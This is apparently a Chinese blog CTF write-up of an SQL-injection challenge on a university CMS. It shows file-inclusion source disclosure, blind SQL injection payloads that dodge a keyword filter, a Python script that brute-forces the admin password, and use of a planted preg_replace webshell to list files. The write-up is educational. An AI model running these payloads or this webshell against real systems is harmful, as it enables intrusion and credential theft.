3. 关于sql注入的综合题
关于sql注入的综合题
----------南京邮电大学ctf : http://cms.nuptzj.cn/
页面上也给了好多信息:
根据这个sm.txt , 我们可以得到好多消息,config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, ),表名 : admin 字段名 :username , userpass
而且当我们看到这个url : http://cms.nuptzj.cn/about.php?file=sm.txt 我们可以感受到文件包含的气息 。具体操作步骤在我上一篇博客中:http://www.cnblogs.com/bmjoker/p/8877336.html,我们尝试输入 http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=antiinject.php
我们通过https://www.107000.com/ 解码:可以得到
- antiinject.php
- <?php
- function antiinject($content){
- $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
- $info=strtolower($content);
- for($i=0;$i<=count($keyword);$i++){
- $info=str_replace($keyword[$i], '',$info);
- }
- return $info;
- }
- ?>
同理我们可以得到:
- so.php
- <?php
- if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
- echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
- exit();
- }
- $id=$_POST['soid'];
- include 'config.php';
- include 'antiinject.php';
- include 'antixss.php';
- $id=antiinject($id);
- $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
- mysql_select_db($db_name,$con);
- $id=mysql_real_escape_string($id);
- $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
- $rs=mysql_fetch_array($result);
- echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
- mysql_free_result($result);
- mysql_free_result($file);
- mysql_close($con);
- ?>
- say.php
- <?php
- include 'config.php';
- $nice=$_POST['nice'];
- $say=$_POST['usersay'];
- if(!isset($_COOKIE['username'])){
- setcookie('username',$nice);
- setcookie('userpass','');
- }
- $username=$_COOKIE['username'];
- $userpass=$_COOKIE['userpass'];
- if($nice=="" || $say==""){
- echo "<script>alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');</script>";
- exit();
- }
- $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
- mysql_select_db($db_name,$con);
- $nice=mysql_real_escape_string($nice);
- $username=mysql_real_escape_string($username);
- $userpass=mysql_real_escape_string($userpass);
- $result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
- $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
- if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){
- echo "<script>alert('昵称已被使用,请更换!');</script>";
- mysql_free_result($login);
- mysql_free_result($result);
- mysql_close($con);
- exit();
- }
- mysql_free_result($login);
- mysql_free_result($result);
- $say=mysql_real_escape_string($say);
- mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
- mysql_close($con);
- echo '<script>alert("构建和谐社会,留言需要经过管理员审核才可以显示!");window.location = "./index.php"</script>';
- ?>
- passencode.php
- <?php
- function passencode($content){
- //$pass=urlencode($content);
- $array=str_split($content);
- $pass="";
- for($i=0;$i<count($array);$i++){
- if($pass!=""){
- $pass=$pass." ".(string)ord($array[$i]);
- }else{
- $pass=(string)ord($array[$i]);
- }
- }
- return $pass;
- }
- ?>
- antixss.php
- <?php
- function antixss($content){
- preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
- $key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
- $re=$url[2];
- if(count($url)==0){
- return htmlspecialchars($content);
- }else{
- for($i=0;$i<=count($key);$i++){
- $re=str_replace($key[$i], '_',$re);
- }
- return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
- }
- }
- ?>
- about.php
- <?php
- $file=$_GET['file'];
- if($file=="" || strstr($file,'config.php')){
- echo "file参数不能为空!";
- exit();
- }else{
- $cut=strchr($file,"loginxlcteam");
- if($cut==false){
- $data=file_get_contents($file);
- $date=htmlspecialchars($data);
- echo $date;
- }else{
- echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
- }
- }
通过观察so.php,存在注入点soid。数据表名为admin 字段名username userpass
开始注入
- soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/0,1)
- # 有回显
- soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)
- # 无回显
说明该表中只有一条记录。
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>4)
- # 有回显
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>5)
- # 无回显
说明用户名长度 5 位,那应该就是
admin
了,试下前两位。
- soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,1,1))>96)
- # 96 有回显,97 无回显,第一位 a
- soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,2,1))>99)
- # 99 有回显,100 无回显,第二位 d
很明显就是
admin
了。
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>33)
- # 有回显
- soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>34)
- # 无回显
说明密码长度 34 位,之前还读到一个
passencode.php
文件。
密文存储了密码的 ASCII 码,那么就是纯数字了,写个脚本跑一下。
利用脚本爆内容
- # coding=utf-8
- import requests
- import string
- urlmain = 'http://cms.nuptzj.cn/so.php'
- headers = {
- 'User-Agent': 'Xlcteam Browser',
- 'Host': 'cms.nuptzj.cn',
- }
- payloads = string.digits
- password = ''
- for i in range(1, 35):
- for j in payloads:
- payload = ('1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where'
- '/**/ascii(mid(userpasPASSs,%s,1))>%s)' % (i, ord(j)))
- data = {
- 'soid': payload
- }
- response = requests.post(url=urlmain, headers=headers, data=data)
- if len(response.content) < 430:
- password += j
- print '[*] Fetching password: ' + password
- break
结果为admin 1020117099010701140117011001160117
后面的加密算法在passencode.php里面解密为 fuckruntu
有了账号密码就可以登后台了在about.php里有loginxlcteam
找到登陆后台:http://cms.nuptzj.cn/loginxlcteam/
登录
一句话木马
- xlcteam.php
- <?php
- $e = $_REQUEST['www'];
- $arr = array($_POST['wtf'] => '|.*|e',);
- array_walk($arr, $e, '');
- ?>
典型的一句话木马
上网搜索
令www=preg_replace&wtf=print_r(scandir(‘.’))
出flag
3. 关于sql注入的综合题的更多相关文章
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- 一道简单的SQL注入题
这是我真正意义上来说做的第一道SQL题目,感觉从这个题目里还是能学到好多东西的,这里记录一下这个题目的writeup和在其中学到的东西 link:https://www.ichunqiu.com/ba ...
- [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介 原题复现: 考察知识点:SSRF.反序列化.SQL注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- 从orderby引发的SQL注入问题的思考
背景: 某一天准备上线,合完master之后准备发布了,忽然公司的代码安全监测提示了可能在代码中存在sql注入的风险,遂即检查,发现sql注入问题 既然碰到了这个问题,那就了简单了解下sql注入 基础 ...
- Sqli-LABS通关笔录-17-审计SQL注入
这个关卡开始好像进入新的知识区了,前面几个是让我们加深对盲注的印象.接下来又是新知识了!皮卡丘,接招吧! 代码是从SQL-libs的第十七关卡扣的. 页面效果如下所示: PHP面完整CODE如下所示: ...
- 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...
- WEB 安全之 SQL注入<一> 盲注
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
随机推荐
- 编译EasyDSS rtmp流媒体服务器遇到stray '_239' inprogram,stray '_187' inprogram,stray '_191' inprogram的解决办法
使用用户提供的交叉编译工具链编译easydss时遇到一个编译错误 stray '\239' inprogram stray '\187' inprogram stray '\191' inprogra ...
- AWK命令使用
前言 文本处理三剑客中,grep强在文本查找,sed强在文本处理,现awk强在文本查找后的输出处理.awk可以在处理文本的过程中使用编程结构(变量.条件判断.循环)以及其内置的变量,这就是它强大的地方 ...
- 我的Java开发学习之旅------>Java经典排序算法之插入排序
一.算法原理 插入排序法:所谓插入排序法乃是将一个数目插入该占据的位置. 假设我们输入的是 "53,27,36,15,69, 42" 我们从第二个数字开始,这个数字是27,我们的 ...
- Linux就该这么学--计划任务服务
有经验的系统运维工程师能够让系统自动化运行,无需人工的干预就可以让各个服务.命令在指定的时间段运行.停止. 计划任务分为: 一次性计划任务:今晚11:30开启网站服务 长期性计划任务:每周1.3.5的 ...
- 如何查看apache配置文件路径
我是用https://lamp.sh/安装的,apache配置文件位置在:/usr/local/apache/conf/httpd.conf如果是直接安装的apache,配置文件应该在:/etc/ht ...
- 20145239 杜文超 实验四 Android开发基础
20145239实验四 Android开发基础 实验内容 基于Android Studio开发简单的Android应用并部署测试 了解Android组件.布局管理器的使用 掌握Android中事件处理 ...
- 20145239杜文超 《Java程序设计》第2周学习总结
20145239 <Java程序设计>第2周学习总结 教材学习内容总结 第三章主要介绍了Java语言的基础语法. 要求我们认识类型与变量,学习运算符的基本使用以及了解类型转换.运用基本流程 ...
- winform中通过事件实现窗体传值思路【待修改】
Form2向Form1传值 private Form1 form1;//定义一个类型为Form1类型的字段,用于存储传递过来的Form对象 public void Se ...
- 鸟哥的linux私房菜 - 第三章 主机规划与磁盘分区
各硬件装置在linux中的文件名 在linux系统中,每个装置都被当成一个档案来对待. 常见的装置与其在linux中的档名: 磁盘分区 磁盘链接的方式与装置文件名的关系 个人计算机常见的磁盘接口有两种 ...
- 苹果AppStore如何申请加急审核
登录iTunesconnect,点击右上角的“?”图标,选择“联系我们”. iTunes Connect首页 依次选择“App Review”.“App Store Review” .” Reques ...